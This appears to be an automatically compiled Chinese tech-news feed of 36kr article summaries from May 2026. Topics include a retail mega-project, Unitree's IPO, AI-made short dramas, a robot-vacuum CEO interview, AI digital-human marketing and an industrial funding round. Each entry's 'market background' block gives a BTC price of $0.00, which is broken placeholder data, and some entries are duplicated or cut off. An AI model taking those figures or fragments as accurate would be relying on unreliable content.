[Some technical milestones have already been reached] In 2018, Chinese scientists achieved the world’s first primate somatic-cell cloning (“Zhong Zhong” and “Hua Hua”), published

文章来源

标题: 长寿≠养生？有人把“解决衰老”做了工程化拆解｜muShanghai现场笔记
来源: tech
链接: https://36kr.com/p/3825746469098118?f=rss
时间: 2026-05-26 16:35:35 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3825746469098118?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-26T09:00:13.437804+00:00

求购Deepseek老股份额；求购长鑫存储老股份额｜资情留言板第183期

Tue, 26 May 2026 09:00:12 +0000

原文摘要

文章来源

标题: 求购Deepseek老股份额；求购长鑫存储老股份额｜资情留言板第183期
来源: ai
链接: https://36kr.com/p/3825834410333062?f=rss
时间: 2026-05-26 16:15:55 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3825834410333062?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-26T09:00:12.648536+00:00

长寿≠养生？有人把“解决衰老”做了工程化拆解｜muShanghai现场笔记

Tue, 26 May 2026 09:00:11 +0000

原文摘要

文章来源

标题: 长寿≠养生？有人把“解决衰老”做了工程化拆解｜muShanghai现场笔记
来源: ai
链接: https://36kr.com/p/3825746469098118?f=rss
时间: 2026-05-26 16:35:35 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3825746469098118?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-26T09:00:11.133217+00:00

8点1氪丨胖东来投资65亿的“梦之城”开工；“稚晖君”彭志辉正式出任上纬新材董事长；“死了么”App改名“在么在么”

Tue, 26 May 2026 06:00:18 +0000

原文摘要

今日热点导览美媒：美伊已就全面开放霍尔木兹海峡达成一致拉勾网及创始人被限消宇树科技6月1日科创板IPO上会，一季度扣非净利润同比下降52.55% 1瓶水蜜桃只有0.01克水蜜桃汁，康师傅被指蹭奉化水蜜桃玩文字游戏寒武纪盘中涨超11%，总市值超9000亿创历史新高 TOP3大新闻胖东来进军房地产？投资65亿元的“梦之城”开工胖东来或将进军地产市场。近日，于东来在直播中称，梦之城建好后，如果还有空间的情况下，会建几个小区，“一个是安置胖来员工，一个是面向社会。”他表示，会全部公开建筑设计用材、建筑质量水平、建筑具体费用等，取一个合理的利润来售卖，在不破坏市场的情况下，争取健康发展，让每一个住户的权益都能得到保障。5月20日，记者在于东来个人社交账号看到，其贴出了一张工地的合影照，在条幅上明确写到：“梦之城项目开工”，同时，其为该照片配文称，“梦开始的时间、梦开始的地方……” 根据此前公示的规划信息显示，胖东来“梦之城”项目一期建筑面积46.7万平方米，3327个停车位。同时，项目一期主要建设商业综合体，建筑主体长299米，宽216米，高度50米，8层。一期之外，未来还将建设幸福讲堂、文化中心、酒店等主要部分。于东来也曾在社交账号发布信息称，梦之城是胖东来品牌成立以来投资规模最大的单体项目，项目建设和装修投资约65亿元，是一个超大型综合体，将涵盖百货、超市、电器、珠宝、电影、餐饮、茶叶、电玩以及酒店等业态。其还表示，相信该项目将成为未来中国商业的典范之一。（第一财经） “稚晖君”彭志辉正式出任上纬新材董事长 5月25日，科创板上市企业上纬新材料科技股份有限公司（股票代码：688585.SH）完成了一系列关键的工商变更登记。天眼查显示，公司法定代表人由蔡朝阳变更为田华，曾是华为“天才少年”、在B站拥有数百万粉丝的“稚晖君”彭志辉则正式接任公司董事长一职。这一系列变更，标志着自2025年下半年以来，由明星机器人创业公司智元机器人主导的对上纬新材的控制权收购与整合，在人事安排上最终落定。（界面新闻） “死了么”App改名“在么在么” 5月24日，据上城发布，“死了么”APP升级为“在么在么”安心守护平台，并率先在浙江省杭州市上城区南星街道投入应用。据悉，“在么在么”坚持大字体、简界面、少操作、高容错的适老化设计。老人每天使用智能手机即可完成无感签到，连续两天未签到，系统会自动提醒子女或紧急联系人。（界面新闻）大公司/大事件美媒：美伊已就全面开放霍尔木兹海峡达成一致美国《华盛顿邮报》5月24日报道称，美国和伊朗已就一份谅解备忘录框架达成一致，一旦签署，将在30天内全面恢复霍尔木兹海峡的航运。报道援引美政府一匿名高级官员的话称，美国和伊朗已制定一份谅解备忘录“框架”，包括延长停火60天，以便双方就永久结束伊朗战事达成“最终协议”，其间霍尔木兹海峡将进行排雷并重新开放。（新华社）拉勾网及创始人被限消天眼查法律诉讼信息显示，近日，拉勾网关联公司北京拉勾网络技术有限公司及创始人许单单新增一则限制消费令，执行法院为北京市海淀区人民法院，案件流程信息显示，此前，该公司已因此案被执行24万余元。该公司成立于2013年3月，法定代表人为许单单，注册资本约556万人民币，经营范围包括软件开发、计算机系统服务、计算机技术培训等，由北京润安信息顾问有限公司、马德龙、许单单等共同持股。（界面新闻）宇树科技6月1日科创板IPO上会，一季度扣非净利润同比下降52.55% 36氪获悉，上交所上市审核委员会将于2026年6月1日召开审议会议，审核宇树科技股份有限公司首次公开发行股票申请。该企业科创板IPO申请已于今年3月正式获上交所受理，此次上市拟募集资金42.02亿元。从公司披露的一季度经营数据来看，2026 年1至3月宇树科技实现营业收入4.23亿元，营收同比增速较往年大幅回落，从上年同期332.64%降至68.49%。受研发费用、销售费用等期间费用大幅增长拖累，公司当期扣非净利润仅4025.36万元，相较于上年同期8483.65万元下滑明显，同比降幅达到52.55%。华为正式发表半导体领域新定律 2026国际电路与系统研讨会25日在上海举行，华为公司董事、半导体业务部总裁何庭波在题为《半导体新路径探索与实践》的主旨演讲中，正式发表“韬（τ）定律”。这是中国在全球半导体领域首次提出指导产业发展的新原则。基于该定律，华为过去六年已成功设计并量产了381款芯片。今年秋季，华为将发布新的麒麟手机芯片，完整采用逻辑折叠技术，大幅提升相关性能。（人民日报）现代汽车集团设立专门部门负责软件定义工厂战略和机器人零部件采购据报道，现代汽车集团已成立专门部门，致力于推进其软件定义工厂（SDF）战略，并采购机器人组件，这是其在汽车制造工厂部署Atlas人形机器人的更广泛计划的一部分。据透露，该集团近期设立了一个职位，负责监管其软件定义工厂（SDF）项目，并任命现代汽车集团新加坡创新中心首席创新官阿尔佩什·帕特尔（Alpesh Patel）担任此职。（新浪财经）前阿里P10研究员倪生华出任店小秘集团CTO 36氪获悉，近日，店小秘正式宣布，任命前阿里巴巴P10研究员倪生华担任集团首席技术官（CTO），全面统筹集团技术体系的战略规划、架构升级及前沿AI技术的攻坚与落地。国际油价显著下跌由于有报道称，美国与伊朗谈判取得进展，接近达成协议，市场担忧情况缓解。25日亚洲交易时段，国际油价显著下跌，跌幅一度超5%。截至北京时间25日上午8点30分，纽约商品交易所7月交货的轻质原油期货价格报每桶92.05美元，跌幅为4.71%，7月交货的伦敦布伦特原油期货价格报每桶98.74美元，跌幅为4.64%。（央视财经） 1瓶水蜜桃只有0.01克水蜜桃汁，康师傅被指蹭奉化水蜜桃玩文字游戏近日，康师傅“每日C水蜜桃水果饮品”因其宣传与实际含量之间的悬殊差距引发广泛质疑。记者发现，在杭州线上线下，这款饮品均有售卖，包装醒目标注“特选奉化水蜜桃”。但500毫升装饮品中，添加仅0.01克。要想吃到一个奉化水蜜桃的桃汁量，你可能需要喝掉几千瓶康师傅才行。康师傅回应，产品标识合规，已如实标注配料信息。但法律人士认为，奉化水蜜桃是价值超15亿元的国家地理标志产品，企业刻意渲染该卖点，却极少添加对应原料，涉嫌误导消费者、违反相关法规。近年康师傅业绩承压，此类重宣传、轻实际的营销方式，透支了消费者信任。消费者选购饮料时，应重点查看配料表，不要轻信外包装的广告语。（都市快报）寒武纪盘中涨超11%，总市值超9000亿创历史新高 5月25日早盘，寒武纪股价在资金推动下强势拉升，盘中涨幅一度超过11%，最高触及1435元附近，总市值逼近9000亿元，续创历史新高。寒武纪的强势表现起到了市场“风向标”的作用，带动整个科创芯片板块火力全开。科创50指数当日涨幅扩大至3%以上，盘中甚至大涨近6%，华虹公司、中芯国际、盛美上海、思瑞浦等半导体核心标的纷纷跟涨并创下近期新高。全市场成交额显著放量，沪深两市合计成交约3.21万亿元

文章来源

标题: 8点1氪丨胖东来投资65亿的“梦之城”开工；“稚晖君”彭志辉正式出任上纬新材董事长；“死了么”App改名“在么在么”
来源: ai
链接: https://36kr.com/p/3825357879497346?f=rss
时间: 2026-05-26 07:58:09 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3825357879497346?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-26T06:00:18.680247+00:00

两部 AI 剧集闯入戛纳，水母智能要做 AI 内容工业化的破局者｜项目报道

Tue, 26 May 2026 06:00:18 +0000

原文摘要

5月8日，第79届戛纳国际电影节內 Fantastic Pavilion 单元公布竖屏剧展演名单。由水母智能旗下中国AI影视公司水母映画出品的竖屏剧集《摸金之天机入梦》（英文名：The Golden Tomb Seeker）以及水母星际出品的《饿塔》（英文名：Series Tower）从全球120个国家、超过1000件竖屏作品中脱颖而出，成为正式展映的21部作品之一。

竖屏剧集《摸金之天机入梦》当两部纯 AI 制作的竖屏短剧，出现在戛纳电影节的展映厅里，大概很多人都没想到：曾经被视作电子榨菜的 AI 漫剧，居然能站上全球电影工业的殿堂。这不是流量短剧的镀金游戏，而是一个行业的成人礼。 2025 年还在靠低成本爽文野蛮生长的 AI 漫剧，只用一年时间，走完了传统短剧五年的进化路 —— 从粗制滥造、擦边流量，转向精品化、工业化、IP 化，甚至开始讲严肃故事、走向全球。

《饿塔》 “大家对 AI 漫剧的印象还停留在爽文、快消、土味。” 水母智能联合创始人周志鹏说，“但我们想证明，AI 可以拍有内核、有审美、有国际语言的内容。” 过去，AI 内容被调侃 “只会制造爽点”；如今，它开始承载科幻、悬疑、东方宇宙等更重的题材。这一步，是行业从 “流量供给” 到 “内容创作” 的关键跨越。 AI 漫剧的疯狂，来得猝不及防。 2025 年，行业一年跑出超 5 万部作品，却只有一两百部真正赚钱。大部分公司靠接订单、堆产量、蹭热度，画面崩坏、剧情狗血、人物畸形，最后被平台批量下架。到 2026 年，风向彻底变了。抖音、红果整合后，平台政策直接 “押注精品”：仿真人 AI 漫剧分账系数拉高到 60 倍，远超真人剧；低质内容不给流量，擦边内容直接清退。曾经靠 “堆量” 生存的公司，一夜之间失去生存空间。技术更是一把剪刀。Seedance 2.0 的出现，把 AI 视频从 “单镜头拼接” 推到 “多镜头连续叙事”，画质冲上 1080P，人物表情、运镜节奏、场景精度全面升级。头部内容公司签下千万年级年框，锁定算力、并发、肖像白名单，行业正式进入 “技术军备竞赛” 时代。 “以前是个人都能做 AI 短剧，现在只有懂内容、懂技术、懂工业化的团队能活。” 周志鹏直言。和市面上大多数 “接单制作” 公司不同，水母智能从一开始就走了一条更重、也更稳的路：工具 + 出品 + 人才培养三位一体。他们不只是做内容，还造工具。国内触手 AI、海外 Animeshorts.ai 双平台，从选题、IP 筛选、剧本生成，到分镜、画面、视频、后期，全流程 AI 化。海外上线即拿下 Product Hunt 当日之星，仅日本就积累近 10 万付费创作者。他们不只是做代工，还控 IP。牵手天下霸唱、高阳、潘海天等顶级作家，并签约各头部小说、影视剧等IP平台手握 350 部 IP 授权。他们不只做产能，还建人才体系。深度参与工信部 AIGC 岗位标准，牵头成立全国首个 AI 设计产教融合共同体，把课程开进百所院校。别人缺人、缺产能、缺标准，水母智能从源头把供给侧稳住。这种模式，让它在行业洗牌里反而越跑越快。 AI 漫剧的终局，早已不是 “短平快赚快钱”。水母智能把下一步押在三件事上：IP 宇宙化、精品全球化、内容严肃化。他们正在搭建以天下霸唱、高阳为核心的 “东方大江湖宇宙世界观，并陆续开发一系列30 部作品，内容联动，人物跨剧互动，类似中国版漫威一个庞大故事世界；同时签约潘海天、吴霜、韩松等科幻顶流 IP，把过去 “烧钱拍不出” 的科幻故事，用 AI 落地。 AI精品化，比所有人预想中来得更快。而最小颗粒度的内容数据和观众反馈数据，以及强大知识库所驱动的agent自我进化，可以帮助出品方、编剧方、制作方、投资方拿到更好的商业化结果。海海外更是其长期重视的市场。作为最早进入日本市场、数据最好的中国 AI 漫画/漫剧团队，水母智能通过 Animeshorts.ai，把 AI 创作工具与内容同步输出日韩、欧美，让中国 AI 能力与中国故事一起出海。 “AI 降低的是生产门槛，不降低创作门槛。” 周志鹏说，“真正决定胜负的，还是故事、审美、价值观。” 从洛可可的设计基因，到 AI 内容工业化；从国内爆款，到戛纳展映；从土味爽剧，到东方宇宙与硬核科幻，水母智能踩中了时代最确定的趋势：AI 不是内容的替代品，而是内容的新基建。当 AI 开始认真讲故事，短剧不再只是打发时间的快餐。而那个最先把快餐做成宴席的玩家，已经站在了下一轮增长的门口。

文章来源

标题: 两部 AI 剧集闯入戛纳，水母智能要做 AI 内容工业化的破局者｜项目报道
来源: ai
链接: https://36kr.com/p/3823033729061253?f=rss
时间: 2026-05-26 09:00:00 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3823033729061253?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-26T06:00:18.047673+00:00

对话云鲸CEO张峻彬：理解人性，告别天真

Tue, 26 May 2026 06:00:16 +0000

原文摘要

作者 | 黄楠编辑 | 袁斯来 36岁时，云鲸CEO张峻彬意识到，自己不能再只做一个温和的人。他做过一些得罪人的决定，但更多时候，张峻彬不善于说重话，以至于有人私下说他有些优柔寡断。“公司内部都说，要是彬哥对你的评价是‘还行’，说明你这东西已经很烂了。”他自己开玩笑。过去几年，这种性格底色没有暴露太大短板。因为张峻彬更多泡在产品里，离琐碎而复杂的事务保持着一定距离。他喜欢自己做的事，也的确得以找到一角纯粹之地沉浸其中。但一个产品经理终究不是CEO。成功的一把手可以放权、但不能让公司离手，并会在关键时刻手起刀落。“我以前太喜欢做产品了，也太温和，只做自己喜欢的事，不是一个合格的CEO。”张峻彬说。也是在他埋头做产品的几年，云鲸内部的问题开始累积。你如果身处云鲸内部，会看到部门内耗，对接人不断更换，老员工相继流失。这些事看似分散，却最终指向同一个原因：没有一个人能将公司从上到下拧成一根绳。最终，病灶还是摆到张峻彬面前，他震惊、愤怒之余，也清楚意识到人心并不总循着善意运行。他开始反思自己的缺位，“你什么都说好，这就是害了大家，也害了公司。” 从今年开始，他走出舒适区，躬身一线，开始以CEO的手，重新梳理营销、研发各个部门。某种意义上，这是他创业十年来最不熟悉、也最难绕开的一课：理解人，判断人，并在必要时对人做决定。现在，张峻彬已经少了些焦虑，因为业务已经看到明显起色。比如海外市场，2026年前4个月营收同比增长近50%。对张峻彬最大的冲击并非业务本身。创业十年，他第一次真正凝望人性的深渊。比如，一些初衷并不坏的人因为各种正当的原因，做了糟糕的事，你如何抉择？又如何面对他们？现实生活中，不存在绝对的厌恨和绝对的理解，人会在灰色地带不断徘徊。当我们问：你现在对人性是否有其他认知？他沉默了很久。“我现在理解了一句话，百善孝为先，论心不论迹；万恶淫为首，论迹不论心。”他最终回答。张峻彬的底色从来不是冷酷的——很多人对他的评价是：体面。然而，残酷商业竞争中，CEO就算不变成一个“混蛋”，但必得是个“狠人”。“慈不掌兵”对张峻彬而言，是需要适应和学习的一课。我们和张峻彬对话了3小时，交流他如何从产品创始人成长为成熟企业家。他正独自趟过这条暗河，并在认清生活真相后，依然热爱生活。以下是硬氪同张峻彬的对谈实录，内容经编辑：恐惧来源：最怕的不是低分，而是无路可走硬氪：过去一段时间你很少出现在公众视野，今年AWE云鲸也没有参加，内部具体在做什么？张峻彬：忙着营销改革。之所以没去AWE，也是我们内部复盘的结果。去任何展会，要想清楚目的是什么，否则就是白花钱，展会也非常耗团队精力，几十号人为了装修、选址忙活几个月，价值不高。我认为参加展会有两个目的：一是品牌进入一个全新的市场，需要集中接触媒体和渠道资源；二是发布了划时代的产品或技术，需要更高效率地集中流量来放大声量。对云鲸现阶段来说，我们希望把资源和精力放在深度本地化运营上。这是价值选择的问题。硬氪：开始管营销部门后，你的工作发生了哪些变化？张峻彬：以前我把产品看得很重，绝大部分精力在做产品和研发。去年9月份刚开始接的时候，我几乎所有时间都放在营销上。最近又有所调整，大致是30%的精力在营销，30%在集团整体运营，30%在产品。原因是营销进入一个新的组织面貌后，前后端拉齐需要一个集团运营抓手。

云鲸2025年发布会路演，法国普罗旺斯站（图源/企业）硬氪：是哪个时刻让你觉得营销很重要？因为之前的转化结果没达到预期？张峻彬：我以前是真不懂营销，脑子里营销就那三板斧：要么价格便宜点，要么多砸点钱投广告，要么就是产品不行。我也认真反思过，是不是产品真有问题？后来才慢慢反应过来——问题出在营销上。虽然现在也说不上多懂，但起码知道，不能再用那三板斧去套了。从几件小事就能明显感觉到不对劲。比如算一笔营销动作是否盈利，团队内部口径都不统一，这本身就是问题。一种叫“销运口径”：只要把货压给代理商就算卖出去了，就算完成销售，账面利润自然好看；另一种叫“销口径”：只有用户实际付款收货，才能算真实成交。按销运口径，数字光鲜，但货可能依然滞留在渠道，周转效率很低。所以从真实的经营效率出发，不能用销运口径来衡量当月利润。再说费用摊销规则。比如单次大额营销费用，是按当月全额计入、按季度分摊，还是按全年分摊？如果口径不统一，后果就是某个月份突然承担了之前多个月的费用，当月利润一下就不行了，可这笔钱对应的营销活动并不在该月。以前我没管过营销，直到从第一性原理出发去看这些事，很多问题并不难发现。我以前认为产品和营销是加法逻辑“产品+营销”，只要把产品做的足够好，成绩也不会太差。现在才明白，它们的关系其实是乘法逻辑“产品×营销”，产品做得再好，营销这块短板不补上，就会让好产品错过好时机。硬氪：那为什么以前发现不了、没有解决？张峻彬：以前太沉迷于做产品了。这本质上源于我这个人还不够成熟，不是一个合格的CEO，只做自己擅长的事情。直到太多不对劲的地方出现，才不得不花更多精力去学习和改变。前两年国补带来了增量和利润，发展能掩盖很多问题。国补退潮后，组织内部的问题更激烈地摆在面前，这触发了我们改革的决心。硬氪：除了亲自管没有别的解法么？每个环节都自己抓不是长久之计，一位CEO成熟的状态应该是用制度让公司跑起来，自己做顶层把控。张峻彬：取决于想要让改革速度多快。Founder Mode（创始人模式）的速度最快。而且一些核心人员变动后，如果创始人不站到台前来，团队会军心不稳。这不只是业务改革，更是组织改革，需要你在一线传递正向信号，让大家继续往前走。硬氪：你希望多快？张峻彬：国内改革花了大半年基本恢复同比增长。以前我不理解，线下相对于线上退货率会低很多，为什么还会不挣钱？接手后，现在已经实现扭亏为盈。今年前四个月，相比2025年国补同期，公司在营销费用减少的情况下，营收和毛利率都实现了增长。这是改革调整后的结果。硬氪：恐惧驱动和热爱驱动区别挺大的。刚接手营销时，你的恐惧主要源于什么？张峻彬：这个恐惧的来源于未知吧，来源于不懂营销。但公司把你推到那个位置，就必须走出舒适区，用最快的速度改革。那时候不知道能不能扭转过来。我担心的不是业务只有40、50分的水平，而是进去后发现所有工作已经做到85分、效率达到极致，但仍然没有起色，那就无路可走了。结果实际情况是，空间很大，恐惧感也就小了很多。40、50分的水平要提升到60分其实相对容易。事实也证明如此，今年三四月份，云鲸前端利润提升了，我也就没那么焦虑了。做CEO，切忌想让所有人开心硬氪：你觉得个人认知成长最快是在什么时候？张峻彬：2024年，云鲸启动了事业部改革、降本提效等一系列动作，内部阻力不小。这时候需要有技巧地推动事情平稳运行，同时引导大家不带情绪地跟随战略方向。很多决策直接讲出来，团队未必能理解或共情。当时我最大的成长是意识到，硬推是行不通的。如果

文章来源

标题: 对话云鲸CEO张峻彬：理解人性，告别天真
来源: ai
链接: https://36kr.com/p/3824244844859525?f=rss
时间: 2026-05-26 09:30:13 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3824244844859525?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-26T06:00:16.369693+00:00

营销内容从“用AI”到“管AI”的10倍提效| 2026AI Partner·北京亦庄AI+产业大会

Tue, 26 May 2026 06:00:15 +0000

原文摘要

从2022年首创数字人直播带货，到如今服务LVMH、欧莱雅、宝洁等全球集团，集思科技在三年间积累了超60亿GMV的实战成绩。

2023年被称作Agent元年，但2026年才是营销内容Agent真正落地应用的节点，而品牌最核心的资产不是视觉，是上下文——把创始人对品牌的理解沉淀为AI可调用的智力资产。以下为演讲内容，经36氪整理编辑：

李世尊丨集思科技CEO 大家好，我是集思科技李世尊。简单介绍一下集思科技，以及我们在营销领域做的事——通过从用AI到管AI，实现十倍提效。集思科技一直专注于AI销售，可以理解为做AI Sales，用Agent的方式帮助B端客户，尤其是品牌零售业的客户去面对他们的消费者。我们率先发明了数字人直播带货，2022年2月28日，三八女人节的第一天，在京东平台首发了38个美妆数字人直播间，当时叫“京小美空降美妆大牌直播间”。到现在，帮助客户累计实现了超过60亿的GMV，短短三年多时间内，服务C端消费者超过三千万次。我们在这个行业里发布了非常多先进的功能和能力，现在很多数字人已经不需要真人出镜，完全用AI捏出来，纯AI生成的数字IP。后面我会用大型品牌的实际案例来具体讲解。我们是一家 to B to C 的公司，今天是产业大会，在座有很多零售行业潜在的合作伙伴。我们有能力帮助你们去面对你们的C端消费者，在官网、渠道都可以，全渠道帮助品牌做这件事。京东是第一家，我们是京卓越的合作伙伴；淘宝是淘拍档的合作伙伴；Shopee是首批，我们在2024年11月份和Shopee官方一起在台湾率先发布了第一个官方的数字人直播间，服务当时的欧莱雅。我们已经是很多全球领先零售型集团的生成式AI服务商，比如LVMH，我们很长时间是他们全球唯一的生成式AI服务商，目前仍然是唯二的两家。像雅诗兰黛、欧莱雅、宝洁，我们是他们北亚地区的服务商；雀巢、Diageo等，我们是他们全球生成式AI的服务商。我们把中国的技术和场景理解带到全球产业里，服务品类非常多，涉及美妆、服饰、奢品、母婴、个护、食品、家电及数码。媒体报道，去年年中开始出海，东南亚将近100个客户，花了不到半年时间，增速非常快。我们带给他们的不单是AI技术，而是通过AI把国内所有的know-how理解并AI化，变成AI化产品带到东南亚，让他们的直播带货水平或销售水平从原来真人只能做到五六十分，直接变成八十分的水平。接下来是我们为品牌做的AIGC案例。大家理解的AIGC，就是AI生成的内容，AIGC用在哪些地方？今天主要聚焦在营销内容，由数字员工主要产出这类内容。内容模态无非是文字、图片、视频、直播，直播还带着交互。大家关注的是产出这些东西时视觉IP的一致性怎么样，用途包括TVC、千川投放物料、品宣视频，大型品牌已经开始用AI做明星的广告代言了。我们做的海外品牌demo。这是北美非常流行的巴拿马风，我们为它做了TVC。所有案例分享在右边的破折号后面都有模态、内容用途。视频TVC，现在已经签约了二三十条，未来三个月内就要服务他们在TK上的所有投放，包括线下屏幕，尤其在佛罗里达，有特别大的线下投放。这是商品主图视频，人物IP，这个女孩叫koko，获得了亦庄政府颁发的第二张数字人身份证，即将拿到中国第一个数字钱包，作为Agent拿到数字钱包。 koko拿到了亦庄颁发的身份证，也是工信部唯二认可的数字人。未来中国所有的数字人背后都会有一个ID，来管控你的内容，我们的koko是有身世的。有些朋友关注到，五六年前Facebook改名Meta，也就是元宇宙。那时候造出了非常多基于计算机动画生成的IP，比如柳夜熙这样的，需要大量的故事线来扶持出一个IP。但在AIGC的支持下，这个短片里，如果我不告诉大家这是捏出来的人，大家会认为这是真人。现在技术的发展，造就了IP的无限可能性，不需要非常多的包装。本质上人类是非常高级的动物，可以对同种族一见钟情，但对米老鼠我得看30集才能喜欢上这个角色，那是故事线包装出的人格。现在技术造就了无限的IP可能。品牌端打造这些IP，可以作为KOC或者influencer。 koko在现场是不存在的，领导“吕局”是现实存在的，跟koko一起生成了虚实结合的短视频。koko也做了线下活动的展示，我们还成为经开区首位数字普法宣传员，前几天在区内进行普法宣传。 koko可以覆盖多种模态，可以做图，IP保持一致还可以做视频，还可以做直播。本质上，每一个品牌最好的销售、最好的宣传员就是创始人本人。创始人拥有企业的所有上下文，把上下文沉淀了，视觉也沉淀了，来打造一个立体的人物，还可以做所有实时交互。我们用koko这个AI IP，为我们的客户做了展示可能性的短片，这些短片可以实时直播，跟现在做的数字人是一样的。这是给另一个国外品牌做的数字人IP，我很难看出是一个假人，这些衣服、鞋都是真实存在的。我们欧洲的客户很喜欢这样的概念，不单是概念，确实有营销流量。我觉得不需要有一个人飞到希腊去拍这个短片，同时也不需要浪费这双鞋，AIGC可以做到这个事情。 Castar是我们主做视频的产品。这是一个视频品宣明星IP，这个明星叫慈世平，跟中国的姚明是原来火箭队的队友，后来也是科比的队友。他的公司叫作37 Partners，我们集思科技也是股东之一，一起展开了非常多合作。我们也帮助他用他的IP在菲律宾做了一场直播，可以说是AI明星的首秀。联合了安踏、李宁、361度、VIVO、三星，当天直播间冲到了全国榜的第二名。 AI直播是我们的第一条曲线。直播业务，刚开始做就选了一个最难的，要交互，要多模态，讲什么内容、什么时间讲什么。我们现在服务七百多家客户，一千多个直播间。这是我们跟Burberry在天猫、京东上做的。各种语言，当地方言都完全没有问题，正式语言、大类语言也都没有问题。这是我们给欧莱雅集团做的行业落地典范，2022年4月份服务他第一个品牌，到现在他全网所有品牌都由集思科技全面提供AI直播服务，已经做了第四个年头。我们能做明星，也可以做签约投放。在座很多创始人都知道投放是非常大的预算，让自己投放数据的KOL去做符合心仪的内容，经��要调很多版。对KOL来说也是很大的负担，比如要求这个红人去冰岛拍片子，时间成本、经济成本都非常大。现在完全可以制作一个自己的分身，去任何想去的地方，穿各种想穿的衣服，一切皆有可能。除了人，也可以做吉祥物，给亦庄的小亦也做了IP。很多品牌有自己的吉祥物，小狐狸，我们就做了她跟吉祥物的互动，包括波司登跟小熊，也是跟吉祥物的互动，虚实结合。这些案例在过去的时间里，除了AI直播，很多视频都是用AI的方式去捏，人加工具，最后等于大家看到的结果。我们从今年年初开始到现在，尝试用管AI的方式，把它变成我给它输入一个命令，它就能把所有的环节走完，反复执行，达到满意的效果。2023年大家就提Agent元年，今年才是营销内容上Agent可以立马落地应用到每一个企业里。内部也喊了口号：用AI的人是不用AI的人的十倍，管AI的人是用AI的人的效率的十倍，本质上就是一百倍的区别，这是指数级增长。创始人是一个企业里最能够卖东西的，

文章来源

标题: 营销内容从“用AI”到“管AI”的10倍提效| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3824179485233541?f=rss
时间: 2026-05-26 10:44:02 +0800

核心内容

从2022年首创数字人直播带货，到如今服务LVMH、欧莱雅、宝洁等全球集团，集思科技在三年间积累了超60亿GMV的实战成绩。

内容来源：ai 原文链接：https://36kr.com/p/3824179485233541?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-26T06:00:15.560011+00:00

36氪首发 | 国家级产业基金出手，桥田智能获亿元融资

Tue, 26 May 2026 06:00:14 +0000

原文摘要

硬氪获悉，上海桥田智能设备有限公司（下称“桥田智能”）已完成A+轮亿元级融资，由国家工业母机产业投资基金独家投资。资金将用于高端产能扩建、核心技术研发迭代及全球化市场布局。桥田智能成立于2016年，专注于汽车主机厂机器人末端及周边设备，产品矩阵涵盖快换盘、磁力换模系统、修磨机、工业连接器等。公司此前已获吉利厚同、哇牛资本、美的资本、浙创投等产业资本投资。公司创始人兼董事长刘小平拥有20年行业经验，曾任日本沙迪克生产厂长、技术总监，2010年曾创立桥田精密为KUKA机器人提供OEM服务。公司去年底正式成为北京奔驰国产化快换盘设备供应商，并已主动出海对接德国奔驰及欧洲头部车企。2026年一季度则实现30%-40%增长。

桥田磁力换模美的荆州洗衣机现场案例（图源/企业）目前，磁力换模已成为公司第二增长曲线。2026年一季度，磁力换模业务订单量已超去年全年总和，客户覆盖吉利汽车、星泰模具、诺博汽车等头部企业。产能方面，公司现有规模约5-6亿元，扩建后预计达10亿元级别，已在嘉善基地投入大量设备并设立磁力板专用生产研发楼。面向未来，刘小平表示，2026年最大的任务之一便是为并购整合战略做协同准备，通过并购实现“1+1＞2”的协同效应。以下为硬氪与刘小平的对话节选：硬氪：磁力换模市场是否已经迎来拐点？订单爆发的驱动力是什么？刘小平：磁力换模我一直看好，但它确实需要一个培育周期。它比传统换模贵，但效率高很多。今年一季度订单爆发，超过去年全年总和，说明市场接受度到了临界点。

桥田智能磁力换模全新生产大楼（图源/企业）背后有几个驱动力。第一，制造业降本增效压力越来越大，磁力换模能显著缩短换模时间，客户算得过账了。第二，自动化换人趋势，很多工厂招不到人做重体力换模。第三，我们头部客户像吉利、星泰模具这些，用完之后产生了明显的复购和背书效应，带动了整个行业跟进。我们现在磁力换模的客户已经从早期的“尝试使用”变成“批量采购”，我认为这个市场才刚刚开始。硬氪：从单一产品走向多产品矩阵，公司面临的最大挑战是什么？刘小平：最大的挑战不是市场，而是内部的多品类协同。我们以前卖一两个品类，现在有快换盘、磁力换模、工业连接器、修磨机等多个品类同步推进，物料管理、供应链调度、团队协同、技术复用都是巨大的考验。排产复杂度指数级上升，每个产品的工艺、供应链、客户交付要求都不一样。所以我们引入了丹纳赫DBS体系，改良成自己的QBS体系，核心就是解决多品类精益管理的问题。我们现在的目标不是盲目扩品类，而是把每个品类的运营效率做到极致。这也是我们未来会考虑并购的原因——不是并过来就完了，而是把我们的管理体系输出给被并购的小微企业，帮他们也上规模。硬氪：你们计划通过并购整合来扩充产品线，具体怎么操作？刘小平：这个行业有个典型特点——“大而散”。每个细分单品市场规模从2亿到50亿不等，但头部企业单品份额大多只有2000万到5个亿。大公司不愿意做这些单品，因为体量不够大；小公司做得好但上不了规模，因为大客户对供应商的产能、体系、人才有硬性要求。我们要做的，就是把这些有技术特色但管理跟不上的小微企业整合进来。不是简单并收入，而是输出我们的QBS管理体系、供应链能力和客户渠道，帮他们跑通从“能做”到“能量产”的过程。这样我们自己的产品线也能快速补齐，形成矩阵化优势。工业母机基金投资团队表示： 